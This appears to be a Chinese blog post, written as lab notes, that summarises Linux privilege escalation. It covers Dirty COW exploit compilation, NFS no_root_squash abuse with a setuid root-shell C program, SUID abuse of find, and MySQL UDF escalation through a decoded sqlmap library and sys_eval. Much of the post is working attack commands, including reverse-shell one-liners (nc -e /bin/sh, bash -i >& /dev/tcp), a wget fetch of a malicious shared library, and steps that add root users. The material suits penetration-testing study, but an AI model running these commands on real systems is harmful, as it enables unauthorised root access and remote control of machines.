Linux 提权总结

Linux提权

Linux内核提权

CVE-2016-5195

脏牛漏洞,⼜叫Dirty COW,存在Linux内核中已经有⻓达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞。Linux kernel团队在2016年10⽉18⽇已经对此进⾏了修复。

该漏洞具体为,Linux内核的内存⼦系统在处理写⼊时复制(copy-on-write, COW)时产⽣了竞争条件(race condition)。恶意⽤户可利⽤此漏洞,来获取⾼权限,对只读内存映射进⾏写访问。竞争条件,指的是任务执⾏顺序异常,可导致应⽤崩溃,或令攻击者有机可乘,进⼀步执⾏其他代码。利⽤这⼀漏洞,攻击者可在其⽬标系统提升权限,甚⾄可能获得root权限。

影响范围:
Linux kernel>=2.6.22

触发代码:https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c

漏洞利用

EXP:
exp1:https://github.com/FireFart/dirtycow
exp2:https://github.com/gbonacini/CVE-2016-5195

将exp1上传到⽬标机器,使⽤ gcc -pthread dirty.c -o dirty -lcrypt 命令对 dirty.c 进⾏编译,⽣成⼀个dirty的可执⾏⽂件。
将exp2上传到⽬标机器,解压,进⼊解压⽬录。 执⾏make后⽣成可执⾏⽂件dcow, 执⾏ ./dcow -s ,如果成功的话, 会返回⼀个root权限的shell

EXP1使用

在初始状态下,查看etc/passwd文件,可以看出有下列用户

在这里插入图片描述

将poc文件上传到服务器中,执行 gcc -pthread dirty.c -o dirty -lcryp

在这里插入图片描述

执行编译后的文件,然后查看etc/passwd 可以看到新建了一个root组用户,通过su可以切换用户,密码为figsoZwws4Zu6

在这里插入图片描述

Exp2使用

exp3没啥好说的,执行流程上面已经写过了,执行之后会将root密码重置

在这里插入图片描述

kali提权辅助工具

如果知道了目标靶机的版本,可以通过searchsploit命令进行搜索该版本是否在存在提权漏洞

searchsploit ubuntu 7.3.0   #搜索ubuntu 7.3.0版本是否存在提权漏洞
searchspoit -u     #更新数据库

在这里插入图片描述

其他提权辅助工具

Linux_Exploit_Suggester

这个工具可以根据Linux系统的版本号自动查找相应的提权脚本

在这里插入图片描述

第三方服务提权

通过netstat -antup 查看开启网络的服务

NFS提权

NFS可以理解为文件共享服务,通过网络让不同机器进行文件共享,基于UDP/IP,要想使用nfs服务还需要RPC服务,RPC主要功能是指定每个NFS服务所对应的端口,让客户端连接到正确的端口中去。

NFS服务端口:2049

RPC端口:111

root_sqaush和no_root_squash参数

root_sqaush就是让远程的root用户,在访问本地文件系统时,没有root权限,即给远程用户分配一个新的低权限用户nfsnobody

no_root_sqaush 就是让远程主机的root用户,在访问本地文件系统时,仍然使用root权限

要想使用nfs提权,no_root_squash需要开启

当拿到了一个低权限的主机时,查看etc/exports文件,该文件是NFS配置文件

在这里插入图片描述

使用条件
  • 主机开启了nfs服务,可以使用nmap扫描,看是否开启了上面的端口
  • 开启了no_root_sqaush
攻击方法:
方式一:

在攻击机(root权限)下执行

mount -t nfs 192.168.245.134:/home/user5 /tmp  #将192.168.245.134这台机器上的/home/user5 挂载到tmp目录中
cp /bin/bash /tmp/shell
chmod u+s /tmp/shell

回到靶机上面,使用shell -p 来获取root权限

不知道为什么我执行的时候报错:./shell: error while loading shared libraries: libtinfo.so.6: cannot open shared object file: No such file or directory

方式二:

攻击机使用root用户,挂载目标目录,然后在目录中创建一个c语言文件,该c语言文件是创建一个shell程序,然后将其权限添加setuid标志位,这样这个程序在靶机上已普通用户执行就会获得一个root权限的shell

mount -t nfs 192.168.245.134:/home/user5 /tmp  #将192.168.245.134这台机器上的/home/user5 挂载到tmp目录中

将下面c代码存放在挂载的目录中

#include <stdio.h> 
#include <stdlib.h> 
#include <sys/types.h> 
#include <unistd.h> 
int main() { setuid(0); system("/bin/bash"); return 0; }

编译

gcc -static test.c -o test   #-static 是将链接库也编译到可执行文件中

添加setuid(SUID)权限

chmod +s test

然后在靶机上运行test就可以获得root shell

setuid也是SUID
当一个可执行文件启动时,它不会以启动它的用户的权限运行,而是以该文件所有者的权限运行。所以,如果在一个可执行文件上设置了 setuid 位,并且该文件由 root 拥有,当一个普通用户启动它时,它将以 root 权限运行

由于攻击机是以root用户创建的test.c 所以test.c所属者为root,添加了setuid(SUID)之后,已普通用户启动,但是以root权限运行

SUID提权

和刚刚的NFS提权相似,NFS提权本质上也是创建一个SUID权限的可执行文件,让普通用户去执行,SUID提权就是通过本地拥有SUID权限的程序去执行一些命令来获取root shell

suid提权条件

  • 程序的所属用户为root
  • 程序具有suid权限

查找具有SUID权限的程序

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;

find命令

如何find命令具有suid权限的话,可以通过find执行一些系统命令

touch test
find . -exec /bin/sh -p \; -quit
这时候,你就拥有了root权限的⼀个shell

使用find命令进程nc反弹

find /var/www/dirty -exec nc x.x.x.x 8888 -t -e /bin/sh \;
find /var/www/dirty -exec bash -i >& /dev/tcp/127.0.0.1/443 0>&1 \;

Mysql UDF 提权

udf提权靶机:https://download.vulnhub.com/raven/Raven2.ova

当拿到了数据库的权限之后,可以尝试对mysql进行udf提权,进而获取更高的系统权限

UDF

udf是用户自定义函数,通常由c/c++编写,并且以共享库形式存在(windows系统上为.dll文件,linux系统上为.so文件)

udf文件存在的位置

在不同版本下位置可能不同
mysql <5.1
windows: C:\windows或者C:\windows\system32
mysql>5.1
mysql 安装路径+lib/plugin (该目录默认不存在需要创建)

UDF提权原理

定义一个自定义函数,这个自定义函数可以是执行系统命令的函数,将该函数编译为动态链接库,放入mysql udf指定的目录中,然后引入该函数,执行系统命令

udf提权的条件

  • 拥有对mysql插入和删除的权限
  • 拥有对udf文件位置的写入权限
利用过程

在sqlmap中有写好的文件

查看当前数据库的版本

select version();

查看mysql的安装目录

select @@basedir;

查看mysql是否具有读写文件的权限

show variables like '%secure%';

这里主要是看secure_file_priv的值

  • 当值为空时,表示对读取和写入操作无要求
  • 当值为一个具体的路径时,表示只能在该路径下进行读取和写入操作
  • 当值为null时,表示禁止写入和读取的操作

并且这个值只能在的配置文件中修改

具体详细信息以及修改方式可以参考:http://t.csdnimg.cn/XksRU

查看mysql的位数

这个不是靶机的位数,通过查看MySQl的位数

show variables like '%version_%';

查看puglin目录

show variables like '%plugin%'; 

将恶意的动态链接库上传到puglin目录中

恶意的动态链接库其实在sqlmap上面已经存在了,不过由于为了规避杀软,所以sqlmap进行了编码从处理,需要经过解码才能正常使用,解码工具在sqlmap中也存在,另外使用动态链接还需要考虑mysql的版本位数,上文已经给出了查询命令

 extra/cloak/cloak.py    #解码工具存放的位置
 data/udf/mysql  #动态链接库文件存放的位置
 python extra/cloak/cloak.py -d -i data/udf/mysql/linux/64/lib_mysqludf_sys.so_   #进行解码

方式一:

如果对plugin目录有写入权限的话,可以直接通过蚁剑链接,上传文件,再或者就是wget之类的,通过python -m http.server共享文件

wget http://192.168.0.1:8000/test.so  -P /usr/lib/mysql/plugin

方式二:

由于直接上传到udf目录没有权限,可以尝试先将动态链接库上传到一个有权限的目录中,然后再通过MySQL的load_fileinto outfile读取本地文件,并且写入到指定目录中

先将文件上传到tmp目录,然后执行下面命令,返回True表示成功

select load_file('/tmp/udf.so') into dumpfile '/usr/lib/mysql/plugin/test.so';  

通过上传的动态链接文件导入函数

create function sys_eval returns string soname 'test.so';
#sys_eval是引入的函数名
select * from mysql.func; #查看当前所有的自定义函数

执行命令

select sys_eval('whoami');

在这里插入图片描述

直接执行反弹shellselect sys_eval('bash -i >& /dev/tcp/192.168.245.128/9001 0>&1');没有成功,不知道为啥,于是我才采用了另外一种方法,在tmp目录下写入一个反弹shell的脚本,将其命名为test.sh,然后执行,即可反弹出root用户

在这里插入图片描述

在这里插入图片描述

计划任务提权

原理

计划任务以root权限允许,低权限用户可以修改计划任务的运行的文件,从而导致低权限用户以root权限运行程序,导致获取root权限。

这个其实也没啥好说的

passwd 提权

就是普通用户对etc/passwd具有写入的权限,然后我们写入一个高权限用户进入

具体利用教程:http://t.csdnimg.cn/eKfVk

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值